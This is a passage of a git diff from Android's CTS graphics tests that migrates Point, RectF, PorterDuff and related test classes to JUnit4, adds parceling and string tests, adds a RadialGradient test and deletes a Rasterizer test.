 
+    @Test
     public void testEquals1() {
         mPoint = new Point(3, 4);
         assertTrue(mPoint.equals(3, 4));
         assertFalse(mPoint.equals(4, 3));
     }
 
+    @Test
     public void testEquals2() {
         mPoint = new Point(3, 4);
         Point point = new Point(3, 4);
@@ -64,17 +67,20 @@
         assertFalse(mPoint.equals(point));
     }
 
+    @Test
     public void testHashCode() {
         mPoint = new Point(10, 10);
         Point p = new Point(100, 10);
         assertTrue(p.hashCode() != mPoint.hashCode());
     }
 
+    @Test
     public void testToString() {
         mPoint = new Point();
         assertNotNull(mPoint.toString());
     }
 
+    @Test
     public void testOffset() {
         mPoint = new Point(10, 10);
         mPoint.offset(1, 1);
@@ -82,6 +88,7 @@
         assertEquals(11, mPoint.y);
     }
 
+    @Test
     public void testNegate() {
         mPoint = new Point(10, 10);
         mPoint.negate();
@@ -89,4 +96,22 @@
         assertEquals(-10, mPoint.y);
     }
 
+    @Test
+    public void testDescribeContents() {
+        mPoint = new Point(10, 20);
+        assertEquals(0, mPoint.describeContents());
+    }
+
+    @Test
+    public void testParceling() {
+        mPoint = new Point(10, 20);
+        Parcel p = Parcel.obtain();
+        mPoint.writeToParcel(p, 0);
+        p.setDataPosition(0);
+
+        mPoint = new Point();
+        mPoint.readFromParcel(p);
+        assertEquals(10, mPoint.x);
+        assertEquals(20, mPoint.y);
+    }
 }
diff --git a/tests/tests/graphics/src/android/graphics/cts/PorterDuffColorFilterTest.java b/tests/tests/graphics/src/android/graphics/cts/PorterDuffColorFilterTest.java
index 301d532..0beadae 100644
--- a/tests/tests/graphics/src/android/graphics/cts/PorterDuffColorFilterTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/PorterDuffColorFilterTest.java
@@ -15,19 +15,27 @@
  */
 package android.graphics.cts;
 
+import static org.junit.Assert.assertEquals;
+
 import android.graphics.Bitmap;
+import android.graphics.Bitmap.Config;
 import android.graphics.Canvas;
 import android.graphics.Color;
 import android.graphics.Paint;
 import android.graphics.PorterDuff;
 import android.graphics.PorterDuffColorFilter;
-import android.graphics.Bitmap.Config;
-import android.test.AndroidTestCase;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 
-public class PorterDuffColorFilterTest extends AndroidTestCase {
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class PorterDuffColorFilterTest {
     private static final int TOLERANCE = 5;
 
+    @Test
     public void testPorterDuffColorFilter() {
         int width = 100;
         int height = 100;
diff --git a/tests/tests/graphics/src/android/graphics/cts/PorterDuffXfermodeTest.java b/tests/tests/graphics/src/android/graphics/cts/PorterDuffXfermodeTest.java
index 2e7cca5..1a47f44 100644
--- a/tests/tests/graphics/src/android/graphics/cts/PorterDuffXfermodeTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/PorterDuffXfermodeTest.java
@@ -15,22 +15,28 @@
  */
 package android.graphics.cts;
 
+import static org.junit.Assert.assertEquals;
 
 import android.graphics.Bitmap;
+import android.graphics.Bitmap.Config;
 import android.graphics.Canvas;
 import android.graphics.Color;
 import android.graphics.Paint;
 import android.graphics.PorterDuff;
 import android.graphics.PorterDuffXfermode;
-import android.graphics.Bitmap.Config;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 
-import junit.framework.TestCase;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
-public class PorterDuffXfermodeTest extends TestCase {
-
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class PorterDuffXfermodeTest {
     private static final int WIDTH = 100;
     private static final int HEIGHT = 100;
 
+    @Test
     public void testPorterDuffXfermode() {
         Bitmap target = Bitmap.createBitmap(WIDTH, HEIGHT, Config.ARGB_8888);
         target.eraseColor(Color.TRANSPARENT);
diff --git a/tests/tests/graphics/src/android/graphics/cts/RadialGradientTest.java b/tests/tests/graphics/src/android/graphics/cts/RadialGradientTest.java
new file mode 100644
index 0000000..d133bb9
--- /dev/null
+++ b/tests/tests/graphics/src/android/graphics/cts/RadialGradientTest.java
@@ -0,0 +1,60 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.graphics.cts;
+
+import android.graphics.Bitmap;
+import android.graphics.Bitmap.Config;
+import android.graphics.Canvas;
+import android.graphics.Color;
+import android.graphics.Matrix;
+import android.graphics.Paint;
+import android.graphics.RadialGradient;
+import android.graphics.Shader.TileMode;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.ColorUtils;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class RadialGradientTest {
+
+    @Test
+    public void testZeroScaleMatrix() {
+        RadialGradient gradient = new RadialGradient(0.5f, 0.5f, 1,
+                Color.RED, Color.BLUE, TileMode.CLAMP);
+
+        Matrix m = new Matrix();
+        m.setScale(0, 0);
+        gradient.setLocalMatrix(m);
+
+        Bitmap bitmap = Bitmap.createBitmap(3, 1, Config.ARGB_8888);
+        bitmap.eraseColor(Color.BLACK);
+        Canvas canvas = new Canvas(bitmap);
+
+        Paint paint = new Paint();
+        paint.setShader(gradient);
+        canvas.drawPaint(paint);
+
+        ColorUtils.verifyColor(Color.BLACK, bitmap.getPixel(0, 0), 1);
+        ColorUtils.verifyColor(Color.BLACK, bitmap.getPixel(1, 0), 1);
+        ColorUtils.verifyColor(Color.BLACK, bitmap.getPixel(2, 0), 1);
+    }
+}
diff --git a/tests/tests/graphics/src/android/graphics/cts/RasterizerTest.java b/tests/tests/graphics/src/android/graphics/cts/RasterizerTest.java
deleted file mode 100644
index c3f7c49..0000000
--- a/tests/tests/graphics/src/android/graphics/cts/RasterizerTest.java
+++ /dev/null
@@ -1,39 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.graphics.cts;
-
-import android.graphics.Rasterizer;
-import android.test.AndroidTestCase;
-
-public class RasterizerTest extends AndroidTestCase {
-
-    public void testFinalize() {
-        MockRasterizer mr = new MockRasterizer();
-        try {
-            mr.finalize();
-        } catch (Throwable e) {
-            fail(e.getMessage());
-        }
-    }
-
-    class MockRasterizer extends Rasterizer {
-        @Override
-        public void finalize() throws Throwable {
-            super.finalize();
-        }
-    }
-}
diff --git a/tests/tests/graphics/src/android/graphics/cts/RectFTest.java b/tests/tests/graphics/src/android/graphics/cts/RectFTest.java
index f5788af..2759d1e 100644
--- a/tests/tests/graphics/src/android/graphics/cts/RectFTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/RectFTest.java
@@ -16,115 +16,103 @@
 
 package android.graphics.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
 
 import android.graphics.Rect;
 import android.graphics.RectF;
 import android.os.Parcel;
-import android.test.AndroidTestCase;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 
-public class RectFTest extends AndroidTestCase {
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class RectFTest {
     private RectF mRectF;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mRectF = null;
-    }
-
+    @Test
     public void testConstructor() {
-
-        mRectF = null;
-        // new the RectF instance
         mRectF = new RectF();
-
-        mRectF = null;
-        // new the RectF instance
         mRectF = new RectF(1.5f, 2.5f, 20.3f, 40.9f);
 
-        mRectF = null;
         RectF rectF = new RectF(1.5f, 2.5f, 20.3f, 40.9f);
-        // new the RectF instance
         mRectF = new RectF(rectF);
 
-        mRectF = null;
         Rect rect = new Rect(0, 0, 10, 10);
-        // new the RectF instance
         mRectF = new RectF(rect);
-
     }
 
+    @Test
     public void testSort() {
-
         mRectF = new RectF(10, 10, 5, 5);
-        assertEquals(10.0f, mRectF.left);
-        assertEquals(10.0f, mRectF.top);
-        assertEquals(5.0f, mRectF.right);
-        assertEquals(5.0f, mRectF.bottom);
+        assertEquals(10.0f, mRectF.left, 0.0f);
+        assertEquals(10.0f, mRectF.top, 0.0f);
+        assertEquals(5.0f, mRectF.right, 0.0f);
+        assertEquals(5.0f, mRectF.bottom, 0.0f);
 
         mRectF.sort();
-        assertEquals(5.0f, mRectF.left);
-        assertEquals(5.0f, mRectF.top);
-        assertEquals(10.0f, mRectF.right);
-        assertEquals(10.0f, mRectF.bottom);
-
+        assertEquals(5.0f, mRectF.left, 0.0f);
+        assertEquals(5.0f, mRectF.top, 0.0f);
+        assertEquals(10.0f, mRectF.right, 0.0f);
+        assertEquals(10.0f, mRectF.bottom, 0.0f);
     }
 
+    @Test
     public void testSet1() {
-
         mRectF = new RectF();
         mRectF.set(1.0f, 2.0f, 3.0f, 4.0f);
-        assertEquals(1.0f, mRectF.left);
-        assertEquals(2.0f, mRectF.top);
-        assertEquals(3.0f, mRectF.right);
-        assertEquals(4.0f, mRectF.bottom);
-
+        assertEquals(1.0f, mRectF.left, 0.0f);
+        assertEquals(2.0f, mRectF.top, 0.0f);
+        assertEquals(3.0f, mRectF.right, 0.0f);
+        assertEquals(4.0f, mRectF.bottom, 0.0f);
     }
 
+    @Test
     public void testSet2() {
-
         RectF rectF = new RectF(1.0f, 2.0f, 3.0f, 4.0f);
         mRectF = new RectF();
         mRectF.set(rectF);
-        assertEquals(1.0f, mRectF.left);
-        assertEquals(2.0f, mRectF.top);
-        assertEquals(3.0f, mRectF.right);
-        assertEquals(4.0f, mRectF.bottom);
-
+        assertEquals(1.0f, mRectF.left, 0.0f);
+        assertEquals(2.0f, mRectF.top, 0.0f);
+        assertEquals(3.0f, mRectF.right, 0.0f);
+        assertEquals(4.0f, mRectF.bottom, 0.0f);
     }
 
+    @Test
     public void testSet3() {
-
         Rect rect = new Rect(1, 2, 3, 4);
         mRectF = new RectF();
         mRectF.set(rect);
-        assertEquals(1.0f, mRectF.left);
-        assertEquals(2.0f, mRectF.top);
-        assertEquals(3.0f, mRectF.right);
-        assertEquals(4.0f, mRectF.bottom);
-
+        assertEquals(1.0f, mRectF.left, 0.0f);
+        assertEquals(2.0f, mRectF.top, 0.0f);
+        assertEquals(3.0f, mRectF.right, 0.0f);
+        assertEquals(4.0f, mRectF.bottom, 0.0f);
     }
 
+    @Test
     public void testIntersects1() {
-
         mRectF = new RectF(0, 0, 10, 10);
         assertTrue(mRectF.intersects(5, 5, 15, 15));
-        assertEquals(0.0f, mRectF.left);
-        assertEquals(0.0f, mRectF.top);
-        assertEquals(10.0f, mRectF.right);
-        assertEquals(10.0f, mRectF.bottom);
+        assertEquals(0.0f, mRectF.left, 0.0f);
+        assertEquals(0.0f, mRectF.top, 0.0f);
+        assertEquals(10.0f, mRectF.right, 0.0f);
+        assertEquals(10.0f, mRectF.bottom, 0.0f);
 
         mRectF = new RectF(0, 0, 10, 10);
         assertFalse(mRectF.intersects(15, 15, 25, 25));
-        assertEquals(0.0f, mRectF.left);
-        assertEquals(0.0f, mRectF.top);
-        assertEquals(10.0f, mRectF.right);
-        assertEquals(10.0f, mRectF.bottom);
-
+        assertEquals(0.0f, mRectF.left, 0.0f);
+        assertEquals(0.0f, mRectF.top, 0.0f);
+        assertEquals(10.0f, mRectF.right, 0.0f);
+        assertEquals(10.0f, mRectF.bottom, 0.0f);
     }
 
+    @Test
     public void testIntersects2() {
-
         RectF rectF1;
         RectF rectF2;
 
@@ -135,101 +123,97 @@
         rectF1 = new RectF(0, 0, 10, 10);
         rectF2 = new RectF(15, 15, 25, 25);
         assertFalse(RectF.intersects(rectF1, rectF2));
-
     }
 
+    @Test
     public void testIntersect1() {
-
         mRectF = new RectF(0, 0, 10, 10);
         assertTrue(mRectF.intersect(5, 5, 15, 15));
-        assertEquals(5.0f, mRectF.left);
-        assertEquals(5.0f, mRectF.top);
-        assertEquals(10.0f, mRectF.right);
-        assertEquals(10.0f, mRectF.bottom);
+        assertEquals(5.0f, mRectF.left, 0.0f);
+        assertEquals(5.0f, mRectF.top, 0.0f);
+        assertEquals(10.0f, mRectF.right, 0.0f);
+        assertEquals(10.0f, mRectF.bottom, 0.0f);
 
         mRectF = new RectF(0, 0, 10, 10);
         assertFalse(mRectF.intersect(15, 15, 25, 25));
-        assertEquals(0.0f, mRectF.left);
-        assertEquals(0.0f, mRectF.top);
-        assertEquals(10.0f, mRectF.right);
-        assertEquals(10.0f, mRectF.bottom);
-
+        assertEquals(0.0f, mRectF.left, 0.0f);
+        assertEquals(0.0f, mRectF.top, 0.0f);
+        assertEquals(10.0f, mRectF.right, 0.0f);
+        assertEquals(10.0f, mRectF.bottom, 0.0f);
     }
 
+    @Test
     public void testIntersect2() {
-
         RectF rectF;
 
         mRectF = new RectF(0, 0, 10, 10);
         rectF= new RectF(5, 5, 15, 15);
         assertTrue(mRectF.intersect(rectF));
-        assertEquals(5.0f, mRectF.left);
-        assertEquals(5.0f, mRectF.top);
-        assertEquals(10.0f, mRectF.right);
-        assertEquals(10.0f, mRectF.bottom);
+        assertEquals(5.0f, mRectF.left, 0.0f);
+        assertEquals(5.0f, mRectF.top, 0.0f);
+        assertEquals(10.0f, mRectF.right, 0.0f);
+        assertEquals(10.0f, mRectF.bottom, 0.0f);
 
         mRectF = new RectF(0, 0, 10, 10);
         rectF= new RectF(15, 15, 25, 25);
         assertFalse(mRectF.intersect(rectF));
-        assertEquals(0.0f, mRectF.left);
-        assertEquals(0.0f, mRectF.top);
-        assertEquals(10.0f, mRectF.right);
-        assertEquals(10.0f, mRectF.bottom);
-
+        assertEquals(0.0f, mRectF.left, 0.0f);
+        assertEquals(0.0f, mRectF.top, 0.0f);
+        assertEquals(10.0f, mRectF.right, 0.0f);
+        assertEquals(10.0f, mRectF.bottom, 0.0f);
     }
 
+    @Test
     public void testUnion1() {
-
         // Both rect1 and rect2 are not empty.
         // 1. left < right, top < bottom
         // this.left < this.right, this.top < this.bottom
         mRectF = new RectF(0.0f, 0.0f, 1.0f, 1.0f);
         mRectF.union(1.0f, 1.0f, 2.0f, 2.0f);
-        assertEquals(0.0f, mRectF.top);
-        assertEquals(0.0f, mRectF.left);
-        assertEquals(2.0f, mRectF.right);
-        assertEquals(2.0f, mRectF.bottom);
+        assertEquals(0.0f, mRectF.top, 0.0f);
+        assertEquals(0.0f, mRectF.left, 0.0f);
+        assertEquals(2.0f, mRectF.right, 0.0f);
+        assertEquals(2.0f, mRectF.bottom, 0.0f);
 
         // 2. left < right, top < bottom
         // this.left > this.right, this.top > this.bottom
         // New rectangle will be set to the new arguments
         mRectF = new RectF(1.0f, 1.0f, 0.0f, 0.0f);
         mRectF.union(1.0f, 1.0f, 2.0f, 2.0f);
-        assertEquals(1.0f, mRectF.top);
-        assertEquals(1.0f, mRectF.left);
-        assertEquals(2.0f, mRectF.right);
-        assertEquals(2.0f, mRectF.bottom);
+        assertEquals(1.0f, mRectF.top, 0.0f);
+        assertEquals(1.0f, mRectF.left, 0.0f);
+        assertEquals(2.0f, mRectF.right, 0.0f);
+        assertEquals(2.0f, mRectF.bottom, 0.0f);
 
         // 3. left > right, top > bottom
         // this.left < this.right, this.top < this.bottom
         // Nothing will be done.
         mRectF = new RectF(0.0f, 0.0f, 1.0f, 1.0f);
         mRectF.union(2.0f, 2.0f, 1.5f, 1.5f);
-        assertEquals(0.0f, mRectF.top);
-        assertEquals(0.0f, mRectF.left);
-        assertEquals(1.0f, mRectF.right);
-        assertEquals(1.0f, mRectF.bottom);
+        assertEquals(0.0f, mRectF.top, 0.0f);
+        assertEquals(0.0f, mRectF.left, 0.0f);
+        assertEquals(1.0f, mRectF.right, 0.0f);
+        assertEquals(1.0f, mRectF.bottom, 0.0f);
 
         // rect1 is empty, update to rect2.
         mRectF = new RectF();
         mRectF.union(1.0f, 1.0f, 2.0f, 2.0f);
-        assertEquals(1.0f, mRectF.top);
-        assertEquals(1.0f, mRectF.left);
-        assertEquals(2.0f, mRectF.right);
-        assertEquals(2.0f, mRectF.bottom);
+        assertEquals(1.0f, mRectF.top, 0.0f);
+        assertEquals(1.0f, mRectF.left, 0.0f);
+        assertEquals(2.0f, mRectF.right, 0.0f);
+        assertEquals(2.0f, mRectF.bottom, 0.0f);
 
         // rect2 is empty, nothing changed.
         mRectF = new RectF(0.0f, 0.0f, 1.0f, 1.0f);
         mRectF.union(2.0f, 2.0f, 2.0f, 2.0f);
-        assertEquals(0.0f, mRectF.top);
-        assertEquals(0.0f, mRectF.left);
-        assertEquals(1.0f, mRectF.right);
-        assertEquals(1.0f, mRectF.bottom);
-
+        assertEquals(0.0f, mRectF.top, 0.0f);
+        assertEquals(0.0f, mRectF.left, 0.0f);
+        assertEquals(1.0f, mRectF.right, 0.0f);
+        assertEquals(1.0f, mRectF.bottom, 0.0f);
     }
 
+    @Test
     public void testUnion2() {
-
         RectF rectF;
 
         // Both rect1 and rect2 are not empty.
@@ -238,10 +222,10 @@
         mRectF = new RectF(0.0f, 0.0f, 1.0f, 1.0f);
         rectF = new RectF(1.0f, 1.0f, 2.0f, 2.0f);
         mRectF.union(rectF);
-        assertEquals(0.0f, mRectF.top);
-        assertEquals(0.0f, mRectF.left);
-        assertEquals(2.0f, mRectF.right);
-        assertEquals(2.0f, mRectF.bottom);
+        assertEquals(0.0f, mRectF.top, 0.0f);
+        assertEquals(0.0f, mRectF.left, 0.0f);
+        assertEquals(2.0f, mRectF.right, 0.0f);
+        assertEquals(2.0f, mRectF.bottom, 0.0f);
 
         // 2. left < right, top < bottom
         // this.left > this.right, this.top > this.bottom
@@ -249,10 +233,10 @@
         mRectF = new RectF(1.0f, 1.0f, 0.0f, 0.0f);
         rectF = new RectF(1.0f, 1.0f, 2.0f, 2.0f);
         mRectF.union(rectF);
-        assertEquals(1.0f, mRectF.top);
-        assertEquals(1.0f, mRectF.left);
-        assertEquals(2.0f, mRectF.right);
-        assertEquals(2.0f, mRectF.bottom);
+        assertEquals(1.0f, mRectF.top, 0.0f);
+        assertEquals(1.0f, mRectF.left, 0.0f);
+        assertEquals(2.0f, mRectF.right, 0.0f);
+        assertEquals(2.0f, mRectF.bottom, 0.0f);
 
         // 3. left > right, top > bottom
         // this.left < this.right, this.top < this.bottom
@@ -260,79 +244,76 @@
         mRectF = new RectF(0.0f, 0.0f, 1.0f, 1.0f);
         rectF = new RectF(2.0f, 2.0f, 1.5f, 1.5f);
         mRectF.union(rectF);
-        assertEquals(0.0f, mRectF.top);
-        assertEquals(0.0f, mRectF.left);
-        assertEquals(1.0f, mRectF.right);
-        assertEquals(1.0f, mRectF.bottom);
+        assertEquals(0.0f, mRectF.top, 0.0f);
+        assertEquals(0.0f, mRectF.left, 0.0f);
+        assertEquals(1.0f, mRectF.right, 0.0f);
+        assertEquals(1.0f, mRectF.bottom, 0.0f);
 
         // rect1 is empty, update to rect2.
         mRectF = new RectF(0.0f, 0.0f, 0.0f, 0.0f);
         rectF = new RectF(1.0f, 1.0f, 2.0f, 2.0f);
         mRectF.union(rectF);
-        assertEquals(1.0f, mRectF.top);
-        assertEquals(1.0f, mRectF.left);
-        assertEquals(2.0f, mRectF.right);
-        assertEquals(2.0f, mRectF.bottom);
+        assertEquals(1.0f, mRectF.top, 0.0f);
+        assertEquals(1.0f, mRectF.left, 0.0f);
+        assertEquals(2.0f, mRectF.right, 0.0f);
+        assertEquals(2.0f, mRectF.bottom, 0.0f);
 
         // rect2 is empty, nothing changed.
         mRectF = new RectF(0.0f, 0.0f, 1.0f, 1.0f);
         rectF = new RectF(2.0f, 2.0f, 2.0f, 2.0f);
         mRectF.union(rectF);
-        assertEquals(0.0f, mRectF.top);
-        assertEquals(0.0f, mRectF.left);
-        assertEquals(1.0f, mRectF.right);
-        assertEquals(1.0f, mRectF.bottom);
-
+        assertEquals(0.0f, mRectF.top, 0.0f);
+        assertEquals(0.0f, mRectF.left, 0.0f);
+        assertEquals(1.0f, mRectF.right, 0.0f);
+        assertEquals(1.0f, mRectF.bottom, 0.0f);
     }
 
+    @Test
     public void testUnion3() {
-
         // rect1 is not empty (x > right, y > bottom).
         mRectF = new RectF(0.0f, 0.0f, 1.0f, 1.0f);
         mRectF.union(2.0f, 2.0f);
-        assertEquals(0.0f, mRectF.top);
-        assertEquals(0.0f, mRectF.left);
-        assertEquals(2.0f, mRectF.right);
-        assertEquals(2.0f, mRectF.bottom);
+        assertEquals(0.0f, mRectF.top, 0.0f);
+        assertEquals(0.0f, mRectF.left, 0.0f);
+        assertEquals(2.0f, mRectF.right, 0.0f);
+        assertEquals(2.0f, mRectF.bottom, 0.0f);
 
         // rect1 is not empty (x < left, y < top).
         mRectF = new RectF(1.0f, 1.0f, 2.0f, 2.0f);
         mRectF.union(0.0f, 0.0f);
-        assertEquals(0.0f, mRectF.top);
-        assertEquals(0.0f, mRectF.left);
-        assertEquals(2.0f, mRectF.right);
-        assertEquals(2.0f, mRectF.bottom);
+        assertEquals(0.0f, mRectF.top, 0.0f);
+        assertEquals(0.0f, mRectF.left, 0.0f);
+        assertEquals(2.0f, mRectF.right, 0.0f);
+        assertEquals(2.0f, mRectF.bottom, 0.0f);
 
         // rect1 is not empty(point is inside of the rectangle).
         mRectF = new RectF(1.0f, 1.0f, 2.0f, 2.0f);
         mRectF.union(1.5f, 1.5f);
-        assertEquals(1.0f, mRectF.top);
-        assertEquals(1.0f, mRectF.left);
-        assertEquals(2.0f, mRectF.right);
-        assertEquals(2.0f, mRectF.bottom);
+        assertEquals(1.0f, mRectF.top, 0.0f);
+        assertEquals(1.0f, mRectF.left, 0.0f);
+        assertEquals(2.0f, mRectF.right, 0.0f);
+        assertEquals(2.0f, mRectF.bottom, 0.0f);
 
         // rect1 is empty.
         mRectF = new RectF();
         mRectF.union(2.0f, 2.0f);
-        assertEquals(0.0f, mRectF.top);
-        assertEquals(0.0f, mRectF.left);
-        assertEquals(2.0f, mRectF.right);
-        assertEquals(2.0f, mRectF.bottom);
-
+        assertEquals(0.0f, mRectF.top, 0.0f);
+        assertEquals(0.0f, mRectF.left, 0.0f);
+        assertEquals(2.0f, mRectF.right, 0.0f);
+        assertEquals(2.0f, mRectF.bottom, 0.0f);
     }
 
+    @Test
     public void testContains1() {
-
         mRectF = new RectF(1.0f, 1.0f, 20.0f, 20.0f);
         assertFalse(mRectF.contains(0.9f, 0.9f));
         assertTrue(mRectF.contains(1.0f, 1.0f));
         assertTrue(mRectF.contains(19.9f, 19.9f));
         assertFalse(mRectF.contains(20.0f, 20.0f));
-
     }
 
+    @Test
     public void testContains2() {
-
         mRectF = new RectF(1.0f, 1.0f, 20.0f, 20.0f);
         assertTrue(mRectF.contains(1.0f, 1.0f, 20.0f, 20.0f));
         assertTrue(mRectF.contains(2.0f, 2.0f, 19.0f, 19.0f));
@@ -340,8 +321,8 @@
         assertFalse(mRectF.contains(0.0f, 0.0f, 19.0f, 19.0f));
     }
 
+    @Test
     public void testContains3() {
-
         RectF rectF;
         mRectF = new RectF(1.0f, 1.0f, 20.0f, 20.0f);
         rectF = new RectF(1.0f, 1.0f, 20.0f, 20.0f);
@@ -352,79 +333,76 @@
         assertFalse(mRectF.contains(rectF));
         rectF = new RectF(0.0f, 0.0f, 19.0f, 19.0f);
         assertFalse(mRectF.contains(rectF));
-
     }
 
+    @Test
     public void testOffset() {
-
        mRectF = new RectF(5, 5, 10, 10);
        mRectF.offset(1.0f, 1.0f);
-       assertEquals(6.0f, mRectF.left);
-       assertEquals(6.0f, mRectF.top);
-       assertEquals(11.0f, mRectF.right);
-       assertEquals(11.0f, mRectF.bottom);
-
+       assertEquals(6.0f, mRectF.left, 0.0f);
+       assertEquals(6.0f, mRectF.top, 0.0f);
+       assertEquals(11.0f, mRectF.right, 0.0f);
+       assertEquals(11.0f, mRectF.bottom, 0.0f);
     }
 
+    @Test
     public void testInset() {
-
         mRectF = new RectF(5.0f, 5.0f, 10.0f, 10.0f);
         mRectF.inset(1.0f, 1.0f);
-        assertEquals(6.0f, mRectF.left);
-        assertEquals(6.0f, mRectF.top);
-        assertEquals(9.0f, mRectF.right);
-        assertEquals(9.0f, mRectF.bottom);
+        assertEquals(6.0f, mRectF.left, 0.0f);
+        assertEquals(6.0f, mRectF.top, 0.0f);
+        assertEquals(9.0f, mRectF.right, 0.0f);
+        assertEquals(9.0f, mRectF.bottom, 0.0f);
 
         mRectF = new RectF(5.0f, 5.0f, 10.0f, 10.0f);
         mRectF.inset(-1.0f, -1.0f);
-        assertEquals(4.0f, mRectF.left);
-        assertEquals(4.0f, mRectF.top);
-        assertEquals(11.0f, mRectF.right);
-        assertEquals(11.0f, mRectF.bottom);
-
+        assertEquals(4.0f, mRectF.left, 0.0f);
+        assertEquals(4.0f, mRectF.top, 0.0f);
+        assertEquals(11.0f, mRectF.right, 0.0f);
+        assertEquals(11.0f, mRectF.bottom, 0.0f);
     }
 
+    @Test
     public void testHeight() {
         mRectF = new RectF(1.0f, 1.0f, 20.5f, 20.5f);
-        assertEquals(19.5f, mRectF.height());
+        assertEquals(19.5f, mRectF.height(), 0.0f);
     }
 
+    @Test
     public void testWidth() {
         mRectF = new RectF(1.0f, 1.0f, 20.5f, 20.5f);
-        assertEquals(19.5f, mRectF.width());
+        assertEquals(19.5f, mRectF.width(), 0.0f);
     }
 
+    @Test
     public void testOffsetTo() {
-
         mRectF = new RectF(5, 5, 10, 10);
         mRectF.offsetTo(1.0f, 1.0f);
-        assertEquals(1.0f, mRectF.left);
-        assertEquals(1.0f, mRectF.top);
-        assertEquals(6.0f, mRectF.right);
-        assertEquals(6.0f, mRectF.bottom);
-
+        assertEquals(1.0f, mRectF.left, 0.0f);
+        assertEquals(1.0f, mRectF.top, 0.0f);
+        assertEquals(6.0f, mRectF.right, 0.0f);
+        assertEquals(6.0f, mRectF.bottom, 0.0f);
     }
 
+    @Test
     public void testSetEmpty() {
-
         // Before setEmpty()
         mRectF = new RectF(1, 2, 3, 4);
-        assertEquals(1.0f, mRectF.left);
-        assertEquals(2.0f, mRectF.top);
-        assertEquals(3.0f, mRectF.right);
-        assertEquals(4.0f, mRectF.bottom);
+        assertEquals(1.0f, mRectF.left, 0.0f);
+        assertEquals(2.0f, mRectF.top, 0.0f);
+        assertEquals(3.0f, mRectF.right, 0.0f);
+        assertEquals(4.0f, mRectF.bottom, 0.0f);
 
         // After setEmpty()
         mRectF.setEmpty();
-        assertEquals(0.0f, mRectF.left);
-        assertEquals(0.0f, mRectF.top);
-        assertEquals(0.0f, mRectF.right);
-        assertEquals(0.0f, mRectF.bottom);
-
+        assertEquals(0.0f, mRectF.left, 0.0f);
+        assertEquals(0.0f, mRectF.top, 0.0f);
+        assertEquals(0.0f, mRectF.right, 0.0f);
+        assertEquals(0.0f, mRectF.bottom, 0.0f);
     }
 
+    @Test
     public void testIsEmpty() {
-
         mRectF = new RectF();
         assertTrue(mRectF.isEmpty());
         mRectF = new RectF(1.0f, 1.0f, 1.0f, 1.0f);
@@ -433,82 +411,85 @@
         assertTrue(mRectF.isEmpty());
         mRectF = new RectF(1.0f, 1.0f, 20.0f, 20.0f);
         assertFalse(mRectF.isEmpty());
-
     }
 
+    @Test
     public void testCenterX() {
-
         mRectF = new RectF(10.0f, 10.0f, 20.0f, 20.0f);
-        assertEquals(15.0f, mRectF.centerX());
+        assertEquals(15.0f, mRectF.centerX(), 0.0f);
         mRectF = new RectF(10.5f, 10.0f, 20.0f, 20.0f);
-        assertEquals(15.25f, mRectF.centerX());
+        assertEquals(15.25f, mRectF.centerX(), 0.0f);
         mRectF = new RectF(10.4f, 10.0f, 20.0f, 20.0f);
-        assertEquals(15.2f, mRectF.centerX());
-
+        assertEquals(15.2f, mRectF.centerX(), 0.0f);
     }
 
+    @Test
     public void testCenterY() {
-
         mRectF = new RectF(10.0f, 10.0f, 20.0f, 20.0f);
-        assertEquals(15.0f, mRectF.centerY());
+        assertEquals(15.0f, mRectF.centerY(), 0.0f);
         mRectF = new RectF(10.0f, 10.5f, 20.0f, 20.0f);
-        assertEquals(15.25f, mRectF.centerY());
+        assertEquals(15.25f, mRectF.centerY(), 0.0f);
         mRectF = new RectF(10.0f, 10.4f, 20.0f, 20.0f);
-        assertEquals(15.2f, mRectF.centerY());
+        assertEquals(15.2f, mRectF.centerY(), 0.0f);
     }
 
+    @Test
     public void testToString() {
-        mRectF = new RectF();
-        assertNotNull(mRectF.toString());
+        mRectF = new RectF(10.0f, 20.0f, 30.0f, 40.0f);
+        assertEquals("RectF(10.0, 20.0, 30.0, 40.0)", mRectF.toString());
     }
 
-    public void testSetIntersect() {
+    @Test
+    public void testToShortString() {
+        mRectF = new RectF(10.0f, 20.0f, 30.0f, 40.0f);
+        assertEquals("[10.0,20.0][30.0,40.0]", mRectF.toShortString());
+    }
 
+    @Test
+    public void testSetIntersect() {
         RectF rectF1 = new RectF(0, 0, 10, 10);
         RectF rectF2 = new RectF(5, 5, 15, 15);
 
         // Empty RectF
         mRectF = new RectF();
